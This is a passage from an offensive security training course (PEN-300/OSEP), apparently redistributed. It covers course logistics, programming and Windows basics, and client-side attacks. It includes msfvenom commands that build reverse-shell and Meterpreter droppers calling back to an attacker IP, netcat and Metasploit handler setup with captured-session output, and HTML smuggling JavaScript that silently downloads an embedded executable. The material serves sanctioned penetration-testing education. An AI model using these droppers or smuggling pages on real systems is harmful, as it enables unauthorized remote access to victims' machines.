PEN-300 OSEP Course shared by Tamarisk

This course is written by OffSec, and they provide good materials. If you enjoy their course, do not hesitate to take certification with them, as their certifications are among the most valuable on the market.

I decided to share this course for free, because there are a lot of people who would resell it, with no added value.

Enjoy, and never stop learning,

Tamarisk / @OffsecExam

Evasion Techniques and Breaching Defenses: General Course Information

Welcome to the Evasion Techniques and Breaching Defenses (PEN-300)
course!

PEN-300 was created for security professionals who already have some
experience in offensive techniques and penetration testing.

This course will help you develop the skills and knowledge
to bypass many different types of defenses while performing advanced
types of attacks.

Since the goal of this course is to teach offensive techniques that
work against client organizations with hardened systems, we
expect students to have taken the PWK[1] course and passed the
OSCP exam or have equivalent knowledge and skills.

About The PEN-300 Course

Before diving into the course related material it is important to
spend a few moments on basic terminology.

IT and information security professionals use various terminology for
offensive operations and attacks. To prevent confusion we are going to
define some of the main terms as we understand them and as they apply
to this course.

A penetration test is an engagement between a client organization
and a penetration tester. During such an operation, the penetration
tester will perform various sanctioned attacks against the client
organization. These can vary in size, duration, and complexity.

A penetration test can have various entry points into the targeted
organization. In an assumed breach penetration test, the penetration
tester is given standard or low-privileged user access to an internal
system and can perform the attacks from there. In this type of test
the focus is on the internal network. Additional information may be
provided by the client to aid the test.

A slightly more complex test is an external penetration test, which
can leverage social engineering and attacks against internet facing
infrastructure.

Both types of penetration tests will attempt to compromise as much
of the internal systems of the client organization as possible. This
often includes attacking Active Directory and production systems. No
matter how a penetration test is conducted, the overall goal is to
test the security of client organizations IT infrastructure.

Instead of testing the security of the IT infrastructure, it is
possible to test the security response of the organization. This is
typically called a red team test (red teaming) or adversary
simulation
and works by mimicking the techniques and procedures of
advanced attackers.

The main purpose of a red team test is to train or test the security
personnel in the client organization, which are referred to as the
blue team. While many techniques between penetration tests and red
team tests overlap, the goals are different.

PEN-300 will provide the knowledge and techniques required to perform
advanced penetration tests against mature organizations with a
developed security level. It is not a Red Team course.

The topics covered in this course includes techniques such as
client side code execution attacks, antivirus evasion, application
whitelisting bypasses, and network detection bypasses. The second
half of the course focuses on key concepts such as lateral movement,
pivoting, and advanced attacks against Active Directory.

Since PEN-300 is an advanced penetration testing course, we will
generally not deal with the act of evading a blue team. Instead, we
will focus on bypassing automated security mechanisms that block an
attack.

Provided Material

Next let's take a moment to review the individual components of the
course. You should now have access to the following:

  • The PEN-300 course materials

  • Access to the PEN-300 VPN lab network

  • Student forum credentials

  • Live support

  • OSEP exam attempt/s

Let's review each of these items.

PEN-300 Course Materials

The course includes online book modules and the accompanying course
videos. The information covered in the book modules and the videos are
complementary, meaning you can read the book modules and then watch
the videos to fill in any gaps or vice versa.

In some modules, the the book modules is more detailed than the
videos. In other cases, the videos may convey some information better
than the book modules. It is important that you pay close attention to
both.

The book modules also contain exercises for each chapter. Completing
the course exercises will help students solidify their knowledge and
practice the skills needed to attack and compromise lab machines.

Access to the PEN-300 VPN Lab Network

Once you have signed up for the course, you will be able to download
the VPN pack required to access the lab network via the course lab
page in the Offsec Training Library. This will enable you to access
the PEN-300 VPN lab network, where you will be spending a considerable
amount of time.

Lab time starts when your course begins and is metered as
continuous access.

If your lab time expires, or is about to expire, you can purchase a
lab extension at any time. To purchase additional lab time, use the
"Extend" link available at top right corner of the Offsec Training
Library. If you purchase a lab extension while your lab access is
still active, you can continue to use the same VPN connectivity pack.
If you purchase a lab extension after your existing lab access has
ended, you will need to download a new VPN connectivity pack via the
course lab page in the Offsec Training Library.

Students who have purchased a subscription will have access to the
lab as long as the subscription is active. Your subscription will be
automatically renewed, unless cancelled via the billing page.

The Offensive Security Student Forum

The Student Forum[2] is only accessible to Offensive Security
students. Access does not expire when your lab time ends. You can
continue to enjoy the forums long after you pass your OSEP exam.

On the forum, you can ask questions, share interesting resources,
and offer tips (as long as there are no spoilers). We ask all forum
members to be mindful of what they post, taking particular care not
to ruin the overall course experience for others by posting complete
solutions. Inappropriate posts may be moderated.

Once you have successfully passed the OSEP exam, you will gain access
to the sub-forum for certificate holders.

Live Support and Discord

Live Support[3] can be accessed by clicking the "Connect
to Discord" in the upper right hand corner of the Offsec Training
Library. Live Support will allow you to directly communicate with
our Student Administrators.

Student Administrators are available to assist with technical issues,
but they may also be able to clarify items in the course material and
exercises. In addition, if you have tried your best and are completely
stuck on a lab machine, Student Administrators may be able to provide
a small hint to help you on your way.

Remember that the information provided by the Student Administrators
will be based on the amount of detail you are able to provide. The
more detail you can give about what you've already tried and the
outcomes you've been able to observe, the better.

OSEP Exam Attempt

Included with your initial purchase of the PEN-300 course is an
attempt at the Offensive Security Experienced Penetration Tester
(OSEP) certification.

To book your OSEP exam, go to your exam scheduling calendar. The
calendar can be located in the OffSec Training Library under the
course exam page. Here you will be able to see your exam expiry date,
as well as schedule the exam for your preferred date and time.

Keep in mind that you won't be able to select a start time if the exam
labs are full for that time period so we encourage you to schedule
your exam as soon as possible.

Overall Strategies for Approaching the Course

Each student is unique, so there is no single best way to approach
this course and materials. We want to encourage you to move through
the course at your own comfortable pace. You'll also need to apply
time management skills to keep yourself on track.

We recommend the following as a very general approach to the course
materials:

  1. Review all the information included in the resources provided after
    the registration process.
  2. Review the course materials.
  3. Complete the course exercises.
  4. Attack the lab machines.

Course Materials

Once you have reviewed the information above, you can jump into the
course material. You may opt to start with the course videos, and
then review the information for that given module in the book modules
or vice versa depending on your preferred learning style. As you
go through the course material, you may need to re-watch or re-read
modules to fully grasp the content.

Note that all course modules except this introduction, Operating
System and Programming Theory
and Trying Harder: The Labs have
course videos associated with them.

In the book modules you will occasionally find text in red font which
is centered. These blocks of text represent additional information
provided for further context but is not required to understand to
follow the narrative of an attack. Note that the information in these
blocks is not mentioned in the course videos.

We recommend treating the course like a marathon and not a sprint.
Don't be afraid to spend extra time with difficult concepts before
moving forward in the course.

Course Exercises

We recommend that you fully complete the exercises for each
module prior to moving on to the next module. They will test your
understanding of the material and build your confidence to move
forward.

The time and effort it takes to complete these exercises may depend on
your existing skillset. Please note that some exercises are difficult
and may take a significant amount of time. We want to encourage
you to be persistent, especially with tougher exercises. They are
particularly helpful in developing that Offsec "Try Harder" mindset.

Note that copy-pasting code from the book modules into a script
or source code may include unintended whitespace or newlines due to
formatting.

Some modules will have extra mile exercises, which are
more difficult and time-consuming than regular exercises. They are not
required to learn the material but they will develop extra skills and
aid you towards the exam.

About the PEN-300 VPN Labs

The PEN-300 labs provide an isolated environment that contains
two sets of machine types. The first type is the virtual machines
associated with a given book module, while the other is the set of
challenges presented once you have completed the course videos and the
book modules.

Note that all virtual machines in this course are assigned to you and
are not shared with other students.

Control Panel

Once logged into the PEN-300 VPN lab network, you can access your
PEN-300 control panel. The PEN-300 control panel will help you revert
your client and lab machines or book your exam.

Reverts

Each student is provided with twelve reverts every 24 hours. Reverts
enable you to return a particular set of lab machines to its pristine
state. This counter is reset every day at 00:00 GMT +0. If you require
additional reverts, you can contact a Student Administrator via email
(help@offensive-security.com) or contact Live Support to have your
revert counter reset.

The minimum amount of time between lab machine reverts is five
minutes.

Each module (except this introduction and the modules Operating
System and Programming Theory
and Trying Harder: The Labs) will
have an entry from a drop down menu. Before starting on the exercises
or following the information given in the course videos or book modules
you must access the control panel and revert the entry associated with
the given module.

Note that it is not possible to revert a single virtual machine for a
given module or lab. When a revert is triggered all virtual machines
for that given module are reverted. For modules later in the course
this can take a while due to the number of machines in use. This is
done to ensure stability of the lab machines within Active Directory
environments.

Once you have been disconnected from the VPN for an extended period
any active virtual machines will be removed and once you connect to
the VPN again you must request a revert. Therefore, please ensure that
you copy any notes or developed scripts to your Kali Linux VM before
disconnecting from the labs.

After completing the course modules and associated exercises, you can
select a number of challenges from the control panel. This will revert
a set of machines used to simulate targets of a penetration test. Note
that you will not be given any credentials for these clients as they
simulate black box penetration tests.

Client Machines

For each module you will be assigned a set of dedicated client
machines that are used in conjunction with the course material and
exercises.

The number and types of machines vary from module to module and it is
not possible to have client machines from multiple modules active at
the same time. Once a new module is selected any client machines from
the current module are removed.

All machines used in this course have modern operating systems like
Windows 10, Windows Server 2019, and Ubuntu 20.04.

Kali Virtual Machine

This course was created and designed with Kali Linux in mind. While
you are free to use any operating system you desire, the book modules and
course videos all depict commands as given in Kali Linux while running
as a non-root user.

Additionally the Student Administrators only provide support for
Kali Linux running on VMware, but you are free to use any other
virtualization software.

The recommended Kali Linux image[4] is the newest stable release
in a default 64-bit build.

Lab Behavior and Lab Restrictions

The following restrictions are strictly enforced in the internal VPN
lab network. If you violate any of the restrictions below, Offensive
Security reserves the right to disable your lab access.

  1. Do not ARP spoof or conduct any other type of poisoning or
    man-in-the-middle attacks against the network.
  2. Do not perform brute force attacks against the VPN infrastructure.
  3. Do not attempt to hack into other students' clients or Kali
    machines.

About the OSEP Exam

The OSEP certification exam simulates a live network in a private
lab that contains a single large network to attack and compromise. To
pass, you will need to either obtain access to a specific section of
the network or obtain at least 100 points by compromising individual
machines.

The environment is completely dedicated to you for the duration of the
exam, and you will have 47 hours and 45 minutes to complete it.

To ensure the integrity of our certifications, the exam will be
remotely proctored. You are required to be present 15 minutes before
your exam start time to perform identity verification and other
pre-exam tasks. In order to do so, click on the Exam tab in the Offsec
Training Library, which is situated at the top right of your screen.
During these pre-exam verification steps, you will be provided with a
VPN connectivity pack.

Once the exam has ended, you will have an additional 24 hours to put
together your exam report and document your findings. You will be
evaluated on quality and accuracy of the exam report, so please
include as much detail as possible and make sure your findings are all
reproducible.

Once your exam files have been accepted, your exam will be graded and
you will receive your results in ten business days. If you achieve a
passing score, we will ask you to confirm your physical address so
we can mail your certificate. If you have not achieved a passing
score, we will notify you, and you may purchase a certification
retake using the appropriate links.

We highly recommend that you carefully schedule your exam for a two
day window when you can ensure no outside distractions or commitments.
Also, please note that exam availability is handled on a first come,
first served basis, so it is best to schedule your exam as far in
advance as possible to ensure your preferred date is available.

For additional information regarding the exam, we encourage you to
take some time to go over the OSEP exam guide.[5]

Wrapping Up

In this module, we discussed important information needed to make the
most of the PEN-300 course and lab. In addition, we also covered how
to take the final OSEP exam.

We wish you the best of luck on your PEN-300 journey and hope you
enjoy the new challenges you will face.

Operating System and Programming Theory

Is programming required for penetration testing?

This is a common question asked by newcomers to the security
community. Our opinion is that a formal programming education is not
required, but a broad knowledge of programming languages is extremely
helpful. Armed with this broad knowledge, we better understand
software vulnerabilities and general operating system concepts.

This module will provide a theoretical approach to programming and
Windows operating system concepts. It does not contain any exercises
but does provide fundamental knowledge that we will rely on through
this course.

Programming Theory

In the next few sections, we'll present a high-level overview of
programming and introduce important terms.

Programming Language Level

Programming encompasses many concepts, categorizations and
hierarchies. In this section we'll provide a general overview
well-suited to penetration testing.

All programming languages are either compiled[6] or
interpreted.[7] When using a compiled language, code must be
converted to binary (compiled) before it can be executed. On the other
hand, when using an interpreted language, code files (scripts) are parsed
and converted into the required binary format one line at a time when
executed.

The description above is not 100% accurate in relation to
concepts as just-in-time compilation and optimization but that is
normally not relevant for us as penetration testers.

In order to describe the hierarchy of programming languages we'll
focus on compiled languages and begin with a discussion of the
lowest-level languages.

Low-level programming languages are difficult for humans to
understand, and are specifically tied to the hardware and contain a
limited amount of features. On the other hand, high-level languages
are easier for programmers to read and write, are more portable
and provide access to greater complexity through the paradigm of
object-oriented programming.[8]

At the very core, the CPU performs actions based on the
opcodes[9] stemming from the compiled code. An opcode is
a binary value which the CPU maps to a specific action. The set of
opcodes can be translated to the low level assembly[10]
programming language for better human readability.

When we deal with Windows or Linux computers we typically concern
ourselves with the x86 architecture.[11] The architecture
defines which opcodes are valid and what functionality they map to
in assembly. The same thing applies to other CPU architectures like
ARM[12] which is used with most smartphones and tablets.

Applications that require low overhead and high efficiency such as
the core components of an operating system or a browser typically
have elements written in assembly. Although we will not often write
assembly code as penetration testers, it can be helpful to understand
it in order to perform various bypasses of security products or
perform more advanced attacks.

When we consider a language such as C,[13] we are using a
more human-readable syntax, even though C is still considered
a relatively low-level language. By contrast, C++[14] can be
considered as both high and low-level. It still provides access to
all the features of C and accepts directly embedded assembly code
through inline assembly[15] instructions. C++ also provides
access to high-level features like classes and objects making it an
object-oriented programming language.

Most scripting languages like Python, JavaScript or PowerShell
are high-level languages and make use of the object-oriented
programming model as well.

Code from lower level languages like C and C++ is converted to
opcodes through the compilation process and executed directly by
the CPU. Applications written in low-level languages must perform
their own memory management, this is also referred to as unmanaged
code.[16]

Languages like Java[17] and C#[18] are also
object-oriented programming languages but are vastly different in how
they are compiled and execute.

Code from Java and C# is compiled into bytecode[19] which
is then processed by an installed virtual machine. Java uses the
Java Virtual Machine (JVM) which is part of the Java Runtime
Environment
(JRE). C# uses the Common Language Runtime[20]
(CLR), which is part of the .NET framework.[21]

Web browsers typically execute code from scripting languages like
JavaScript through a virtual machine as well. But when repetitive
tasks are encountered a technique called just-in-time (JIT)
compilation[22] is employed where the script is compiled directly
into native code.

Java's popularity largely stems from its operating
system-independence, while C# has been primarily constrained to
the Windows platform. With the relatively recent release of .NET
Core
[23] C# is also available on Linux or macOS.

When the bytecode is executed, the virtual machine compiles it into
opcodes which the CPU executes.

When dealing with high-level languages, any code compiled
into opcodes is often referred to as native code. Code produced by
high-level languages that uses a virtual machine for execution is
known as managed code.

In this scenario, a virtual machine will often provide memory
management support that can help prevent security vulnerabilities such
as buffer overflows.

Although it's not critical to be able to program in each of these
languages, as penetration testers we should at least understand their
differences and limitations.

Programming Concepts

In this section we'll discuss some basic concepts and terminology used
in high-level language programming.

A key component of object-oriented programming is a class[24]
which acts as a template for creating objects. Most classes contain
a number of variables to store associated data and methods[25]
that can perform actions on the variables.

In the Object-oriented paradigm, an object is instantiated[26]
from its class through a special method called constructor.[27]
Typically the constructor is named after its class and it's mostly
used to setup and initialize the instance variables of a class.

For example, in the listing below, when a MyClass object is
instantiated, the MyClass constructor will setup and initialize the
myNumber class variable to the value passed as a parameter to the
constructor.

public class MyClass
{
    private int myNumber;

    // constructor
    public MyClass(int aNumber)
    {
        this.myNumber = aNumber;
    }
    
    public getNumber()
    {
      return myNumber;
    }
}

Listing 1 - Class and constructor

As noted in Listing 1, the name of class, method
and variables are pre-pended by an access modifier.[28] The two
most common are public and private. The public modifier allows
both code outside the class and inside the class to reference and use
it, while private only allows code inside the class to access it.
The same concept applies for methods.

In Listing 1, all code can call the constructor
MyClass, but only the instantiated object can reference the variable
myNumber directly. Code outside the object has to call the public
method getNumber to evaluate myNumber.

As we begin developing attack techniques and begin to write custom
code, these concepts and terms will become increasingly more
important. In addition, we'll rely on these concepts as we investigate
and reverse-engineer high-level code.

Windows Concepts

Windows servers and workstations are ubiquitous in modern
network environments. Let's take some time to discuss some basic
Windows-specific concepts and terminology that we will use throughout
multiple modules in this course.

Windows On Windows

Most Windows-based machines use the 64-bit version of the Windows
operating system. However, many applications are still 32-bit.

To facilitate this, Microsoft introduced the concept of Windows
On Windows 64-bit
(WOW64)[29] which allows a 64-bit version
of Windows to execute 32-bit applications with almost no loss of
efficiency.

Note that 64-bit Linux installations do not natively support
32-bit application execution.

WOW64 utilizes four 64-bit libraries (Ntdll.dll,
Wow64.dll, Wow64Win.dll and Wow64Cpu.dll)
to emulate the execution of 32-bit code and perform translations
between the application and the kernel.

On 32-bit versions of Windows, most native Windows applications and
libraries are stored in C:\Windows\System32. On 64-bit
versions of Windows, 64-bit native programs and DLLs are stored in
C:\Windows\System32 and 32-bit versions are stored in
C:\Windows\SysWOW64.

As penetration testers, we must remain aware of the architecture or
bitness of our targets, since this dictates the type of shellcode
and other compiled code that we can use.

Win32 APIs

The Windows operating system, and its various applications are written
in a variety of programming languages ranging from assembly to C#
but many of those make use of the Windows-provided built-in application
programming interfaces
(or APIs).

These interfaces, known as the Win32 API,[30] offer developers
pre-built functionality. The APIs themselves are designed to be
invoked from C and are documented with C-style data types but as we
will discover throughout this course, they can be used with multiple
other languages.

Many of the Win32 APIs are documented by Microsoft. One simple example
is the GetUserNameA[31] API exported by Advapi32.dll
which retrieves the name of the user executing the function.

The syntax section of the documentation shows the function
prototype
[32] that details the number and type of arguments along
with the return type:

BOOL GetUserNameA(
  LPSTR   lpBuffer,
  LPDWORD pcbBuffer
);

Listing 2 - Function prototype for GetUserNameA

In this example, the API requires two arguments. The first is an
output buffer of type LPSTR which is the Microsoft term for a
character array. The second argument is a pointer to a DWORD which
is a 32-bit unsigned integer. The return value from the API is a
boolean.

We will make extensive use of various Win32 APIs and their associated
Microsoft data types[33] throughout this course. As we use
these APIs we must keep in mind two particular details. First, we must
determine if the process is 32-bit or 64-bit since some arguments and
their size depend on the bitness. Second, we must distinguish between
the use of ASCII[34] and Unicode[35] (which Microsoft
sometimes refers to as UTF-16[36]). Since ASCII characters use
one byte and Unicode uses at least two, many of the Win32 APIs are
available in two distinct versions.

Listing 2 above shows the prototype for
GetUserNameA, where the suffix "A" indicates the ASCII version of
the API. Listing 3 below shows the prototype for
GetUserNameW, in which the "W" suffix (for "wide char") indicates
Unicode:

BOOL GetUserNameW(
  LPWSTR  lpBuffer,
  LPDWORD pcbBuffer
);

Listing 3 - Function prototype

The first argument type is now of type LPWSTR which is a UNICODE
character array.

We will be using the Win32 APIs extensively in this course.

Windows Registry

Many programming languages support the concept of local and global
variables, where local variables are limited in scope and global
variables are usable anywhere in the code. An operating system
needs global variables in much the same manner. Windows uses the
registry[37] to store many of these.

In this section, we'll discuss the registry since it contains
important information that can be abused during attacks, and some
modifications may allow us to bypass specific defenses.

The registry is effectively a database that consists of a massive
number of keys with associated values. These keys are sorted
hierarchically using subkeys.

At the root, multiple registry hives[38] contain logical
divisions of registry keys. Information related to the current
user is stored in the HKEY_CURRENT_USER (HKCU) hive, while
information related to the operating system itself is stored in the
HKEY_LOCAL_MACHINE (HKLM) hive.

The HKEY_CURRENT_USER hive is writable by the current
user while modification of the HKEY_LOCAL_MACHINE hive requires
administrative privileges.

We can interface with the registry both programmatically through the
Win32 APIs as well as through the GUI with tools like the Registry
Editor (regedit) shown in Figure 1.

Figure 1: Registry editor in Windows

Figure 1 shows additional registry hives some of
which we will explore in later modules.

Since a 64-bit version of Windows can execute 32-bit applications
each registry hive contains a duplicate section called
Wow6432Node[39] which stores the appropriate 32-bit
settings.

The registry is used extensively by the operating system and a
variety of applications. As penetration testers, we can obtain various
reconnaissance information from it or modify it to improve attacks or
perform evasion.

Wrapping Up

This module provided a brief introduction to programming and a
high-level overview of some important aspects of the Windows operating
system. This extremely brief overview serves to prepare us for the
techniques we will use and develop in this course.

Client Side Code Execution With Office

There are typically two ways to gain unauthorized remote access to a
system. The first is to exploit a vulnerable application or service
that is exposed to the Internet. While this does not require victim
interaction, the target must be running vulnerable software which we
must target with an exploit.

The second way to gain remote access is to trick a user into running
malicious code. This technique typically requires that the victim
interact with a file or an HTML web page in a browser. These types
of attacks fall into the category of Social Engineering[40]
known as Phishing.[41] While vulnerabilities in software may
be discovered and patched, user behavior is much more difficult to
correct, making this a particularly appealing attack vector and the
primary focus of this module.

In order to make this type of attack more effective, we will attempt
to abuse features in software which the end user commonly uses and
trust. Specifically, the goal of this module is to gain code execution
through exploitation of Microsoft Office products. This is a common
attack vector in both real-world attacks and in penetration tests.

In this module, we will present various client-side attacks against
the Microsoft Office Suite. While our ultimate goal is to gain code
execution on the target, we will also discuss common attack scenarios
and discuss payloads, shellcodes, and common command and control
infrastructures.

Will You Be My Dropper

Let's discuss real-world attack scenarios and describe how
these concepts translate into a penetration test.

To initiate a client-side attack, an attacker often delivers a
Trojan[42] (in the form of a script or document) to the victim
and tricks them into executing it. Traditional trojans embed an entire
payload, but more complex Dropper[43] trojans rely on a staged payload with a
Callback[44] function that connects back to the attack machine to
download the second stage.

Once the code has been delivered, it may be written to the hard disk
or run directly from memory. Either way, the objective of the code
is to create a communication channel back to the attacker. The code
which is run on the victim's workstation is known by several (often
synonymous) names including an Implant, Agent, Backdoor, or
simply Malware.

Once this code is executed on the client, it must connect to
a "Command and control" or C2[45] infrastructure in order
to communicate back to the attacker. This code will contain the
attacker's hostname and domain name or IP address and will leverage
an available network protocol such as HTTP or HTTPS (which may
simulate user activity) or DNS (which simulates common network
activity).

Although sophisticated attackers will leverage a C2 infrastructure
in the real world, in this module we will simply communicate directly
with the target.

The Metasploit framework simplifies this process.

Staged vs Non-staged Payloads

Metasploit boasts an impressive library of payloads that can be
formatted in many different ways. The framework includes both staged
and non-staged payloads.

For example, windows/shell_reverse_tcp is a simple non-staged
reverse TCP shell payload. It contains all the code needed to open up
a reverse command shell to an attacker's machine. The payload itself
is actually a number of assembly instructions, which when executed,
call a number of Windows APIs that connect to the attacker's C2 and
exposes a cmd.exe command prompt.

Staged payloads, such as windows/shell/reverse_tcp, contain a minimal
amount of code that performs a callback, then retrieves any remaining
code and executes it in the target's memory. This slimmed-down payload
does not take up as much memory as a non-staged payload, and may evade
anti-virus programs.

Note the difference in the delimiters used in the names of these
payloads. Non-staged payloads use a __ and staged payloads use /_
respectively, as illustrated below. The payload's description also
indicates whether it is staged or non-staged.

windows/x64/meterpreter_reverse_https    Connect back to attacker and spawn a Meterpreter shell
windows/x64/meterpreter/reverse_https    Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64).

Listing 1 - Non-staged vs staged payload

Building Our Droppers

Once we choose a payload, we can build it using msfvenom.[46] For example,
let's create a regular executable with a non-staged payload. First, we
will set the payload with -p, and the attacking IP address and port
with LHOST and LPORT. We'll set the payload format
to executable with -f and use -o to save the payload
to the root of our Apache web server. This construction is identical
for staged and non-staged payloads.

kali@kali:~$ sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.120 LPORT=444 -f exe -o /var/www/html/shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: /var/www/html/shell.exe

kali@kali:~$ sudo service apache2 start

Listing 2 - Generate Non-staged Metasploit
reverse TCP shell

With the payload saved to our Apache root directory and the server
started, we can launch a Netcat listener on our Kali attack machine
to receive the shell.

We will listen for an incoming connection (-l), avoid DNS
lookups (-n) and use verbose output (-v). We'll
also use -p to specify the TCP port, which must match the
port used when generating the msfvenom executable (as seen in Listing
3).

kali@kali:~$ sudo nc -lnvp 444
listening on [any] 444 ...

Listing 3 - Setting up the Netcat listener

With the listener ready, let's open Microsoft Edge on the victim's
machine and browse the payload's URL on our Kali Linux Apache server.
We will be prompted to download the file. Once the file is downloaded,
we'll execute it, ignoring and accepting any warning messages.

Within a few seconds, the reverse shell should open in our Netcat
listener:

kali@kali:~$ sudo nc -lnvp 444
listening on [any] 444 ...
connect to [192.168.119.120] from (UNKNOWN) [192.168.120.11] 49676
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Offsec\Downloads>

Listing 4 - Catching the reverse shell

Let's try another example, this time leveraging the power of
Metasploit's signature Meterpreter[47] payload.

The full Meterpreter payload is powerful, but the non-staged version
is quite large. In this example, we'll create a staged version.
This version will be more compact, and will execute in stages. The
small first stage executes a callback function, which will retrieve the
remaining code and execute it in memory.

The msfvenom command we'll use is similar to the non-staged
version. We will select the staged payload, choose HTTPS as the
protocol (shown in the suffix of the payload), and we'll set the LPORT
to 443, the typical HTTPS TCP port.

Let's compare the payload sizes by generating both staged and
non-staged meterpreter payloads:

kali@kali:~$ sudo msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.119.120 LPORT=443 -f exe -o /var/www/html/msfnonstaged.exe
...
Payload size: 207449 bytes
Final size of exe file: 214016 bytes
Saved as: /var/www/html/msfnonstaged.exe.exe

kali@kali:~$ sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f exe -o /var/www/html/msfstaged.exe
...
Payload size: 694 bytes
Final size of exe file: 7168 bytes
Saved as: /var/www/html/msfstaged.exe

Listing 5 - Generating Meterpreter executable with
both staged and non-staged payloads

Notice that the non-staged payload is nearly thirty times larger than
the staged payload. This significantly smaller payload provides less
detection surface for endpoint security solutions.

In order to use staged payloads, we'll need to use the
multi/handler. This Metasploit module listens for incoming callbacks
from staged payloads and delivers the second stage.

To do this, we'll launch msfconsole in quiet mode
(-q) and use the multi/handler module. We'll set
the payload, LHOST, and LPORT options, which must match the values we used
when we generated the payload:

kali@kali:~$ sudo msfconsole -q

msf5 > use multi/handler

msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https

msf5 exploit(multi/handler) > set lhost 192.168.119.120
lhost => 192.168.119.120

msf5 exploit(multi/handler) > set lport 443
lport => 443

msf5 exploit(multi/handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.119.120:443

Listing 6 - Setting up the multi/handler module

With the multi/handler module running, we can download our
msfstaged.exe executable and run it on our victim machine.
Then, we'll turn our attention to the output from Metasploit:

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.11; (UUID: pm1qmw8u) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.11:49678)

meterpreter > 

Listing 7 - Multi/handler catches the
callback and opens a Meterpreter session

A small 7 KB callback was executed to stage the full payload and we
note from the output that more than 200 KB of code was sent to spawn
the Meterpreter shell from our victim's machine.

Now that we understand the differences between Metasploit's non-staged
and staged payloads and understand how to use Netcat and the
multi/handler to catch the shell, we'll discuss discretion in the next
section.

Exercise

  1. Experiment with different non-staged and staged Metasploit payloads
    and use the multi/handler module to receive the shell.

HTML Smuggling

In the previous sections, we created a malicious executable and tested
it by manually downloading and running it on a "victim's" machine.
This works well as an example, but attackers will often use more
discreet delivery methods. For example, an attacker may embed a link
in an email. When the victim reads the email and visits the webpage,
JavaScript code will use HTML Smuggling[48] to automatically save
the dropper file.

This technique leverages the HTML5[49] anchor tag download
attribute
,[50] which instructs the browser to automatically
download a file when a user clicks the assigned hyperlink.

Let's try this out by creating an HTML file on our Kali Linux
machine's Apache server. We'll create a simple hyperlink and set the
download attribute anchor tag:

<html>
    <body>
      <a href="/msfstaged.exe" download="msfstaged.exe">DownloadMe</a>
   </body>
</html>

Listing 8 - Anchor object using download
attribute

When a user clicks this link from an HTML5-compatible browser, the
msfstaged.exe file will be automatically downloaded to the
user's default download directory.

Although this works well, it exposes the filename and extension of the
dropper and requires the user to manually click on the link. To avoid
this we can trigger the download from an embedded JavaScript file.
This method feeds the file as an octet stream and will download the
assembled file without user interaction.

We'll demonstrate this by building a proof of concept slowly,
explaining each section of the code as we go along.

Let's discuss the required tasks. First, we'll create a Base64
Meterpreter executable and store it as a Blob[51] inside of a
JavaScript variable. Next, we'll use that Blob to create a URL file
object that simulates a file on the web server. Finally, we'll create
an invisible anchor tag that will trigger a download action once the
victim loads the page.

The first hurdle is to store an executable inside JavaScript and allow
it to be used with the download attribute. By default, the download
attribute only accepts files stored on a web server. However, it will also
accept an embedded Blob object. The Blob object may be instantiated
from a byte array as shown in Listing 9.

<html>
    <body>
        <script>
            var blob = new Blob([data], {type: 'octet/stream'});
        </script>
    </body>
</html>

Listing 9 - Create Blob object from byte array in
JavaScript

Once this Blob has been created, we can use it together with the
static URL.createObjectURL()[52] method to create a URL file
object. This essentially simulates a file located on a web server,
but instead reads from memory. The instantiation statement is shown in
Listing 10:

var url = window.URL.createObjectURL(blob);

Listing 10 - Creating a URL file object

Now that we have the file object in memory, we can create the anchor
object with the createElement[53] method, specifying the
tagName of the anchor object, which is "a". We'll then use the
appendChild()[54] method to place the created anchor object in
the HTML document and specify its attributes.

First, we'll set the display style[55] to "none" to ensure the
anchor is not displayed on the webpage. Next, we'll set .href[56]
to the URL leading to a remote file, which we'll embed through the
Blob and URL file object. Finally, we'll set the download attribute
specifying a filename on the victim's machine. This is all shown
in Listing 11. Please note that the filename
variable will be set prior to the execution of the following code, as
we will see later on.

var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;

Listing 11 - Creating Anchor object and setting
properties

With the invisible anchor object created and referencing our
Blob object, we can trigger the download prompt through the
click()[57] method.

a.click();

Listing 12 - Triggering the download prompt

Before we are able to perform the HTML smuggling attack, we need to
embed the file. In this example, we'll embed a Meterpreter executable
inside the JavaScript code. To avoid invalid characters we will
Base64[58] encode the binary and write a Base64 decoding
function that converts the file back to its original form and stores
it into a byte array.

function base64ToArrayBuffer(base64) 
{
  var binary_string = window.atob(base64);
  var len = binary_string.length;
  var bytes = new Uint8Array( len );
  for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
  return bytes.buffer;
}

Listing 13 - Base64 decoding function in
JavaScript

Finally, we can generate a
windows/x64/meterpreter/reverse_https payload using our
now-familiar syntax and convert it to base64:

kali@kali:~$ sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f exe -o /var/www/html/msfstaged.exe
...
Payload size: 694 bytes
Final size of exe file: 7168 bytes
Saved as: /var/www/html/msfstaged.exe

kali@kali:~$ base64 /var/www/html/msfstaged.exe 
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==

Listing 14 - Generating and Base64
encoding the Meterpreter executable

Before embedding the Base64-encoded executable, we must remove any
line breaks or newlines, embedding it as one continuous string.
